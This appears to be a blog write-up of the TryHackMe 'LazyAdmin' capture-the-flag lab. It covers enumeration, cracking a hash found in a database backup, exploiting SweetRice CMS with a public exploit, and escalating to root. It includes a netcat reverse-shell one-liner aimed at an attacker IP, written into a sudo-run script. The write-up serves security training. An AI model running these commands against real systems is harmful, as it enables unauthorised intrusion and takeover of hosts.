Sitemap

#9.TryHackMe Series writeups-LazyAdmin

4 min readMar 5, 2024

Hey 👋,Welcome back to series, it is time to solve another challenge i.e. “LazyAdmin”.

Press enter or click to view image in full size

Have some fun! There might be multiple ways to get user access in LazyAdmin.

So lets start ..!!!

Here first we need to enumerate the box. We did a nmap scan to know the open ports.

Command: nmap -sV -sC <IP>

Press enter or click to view image in full size

After executing the command, we can see the open ports and services running. Here, 2 ports are open i.e. HTTP and SSH.

Let’s try to access the http website running on it.

Press enter or click to view image in full size

This is a default page. So, let’s try to look for different endpoints for the website. For that, we will be using directory bruteforcing tool i.e. “gobuster”.

Commands: gobuster dir -u http://<IP>/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Press enter or click to view image in full size

We can see “/content” endpoint. So let’s access this endpoint.

Press enter or click to view image in full size

We will try to check for more directories.

Commands: gobuster dir -u http://<IP>/content/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Press enter or click to view image in full size

We got many directories now, as we check “/as” directory contains login page and “/inc” contains files.

Press enter or click to view image in full size
Press enter or click to view image in full size

Here we got mysql_bakup file where we found the credentials.

Press enter or click to view image in full size

Here we can see the username as manager and password is in hash which needs to be cracked.

Command: hashcat -m 0 /root/hash.txt /usr/share/wordlists/rockyou.txt

Press enter or click to view image in full size

Now using the credentials, we can login to the page.

Press enter or click to view image in full size

We can see SweetRice CMS version number. Let’s check for the exploit for the CMS.

Press enter or click to view image in full size

Download the exploit.

Press enter or click to view image in full size

Now we run the exploit which we downloaded. When you’ll read the exploit there is a file needed to get the reverse shell. So we will download reverse shell script.

Note: In reverse shell script, change the IP and Port to open the Netcat listener.

Command: python3 40716.py

Press enter or click to view image in full size
Press enter or click to view image in full size

Hurray, we got the reverse shell. So, now let’s see for the flag.

Command: find / -name user.txt 2>/dev/null

Press enter or click to view image in full size

It’s time to escalate our privilege to root.

We can check the permissions of the current user with commnad.

Command: sudo -l

Press enter or click to view image in full size

Let’s check what’s there in the “backup.pl” file. When viewed, there is a copy.sh file present which contains script and it has write permissions.

So, what we can do is to add revserse shell script into the “copy.sh” and will open the netcat listener.

Press enter or click to view image in full size

Command: echo “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attcker IP> 5555 >/tmp/f” > /etc/copy.sh

Press enter or click to view image in full size

Command: sudo /usr/bin/perl /home/itguy/backup.pl

Run the above command, we got the shell. Let’s check for the flag.

Well, we are root now!

Hurrah!! This LazyAdmin is now over. Thank you for sticking around.

I appreciate you taking the time to read. For other such writeups do visit the TryHackMe Series writeups.

If you found it useful, please click the button 👏and share it with others who have similar interests! + Feedback is always appreciated!!😊

--

--

Cyb3r M!nds
Cyb3r M!nds

Written by Cyb3r M!nds

DevSecOps | Freelancer | Cloud Security | Web Pentester | Android & iOS Pentester | API Pentester | Blogger | Learner .

No responses yet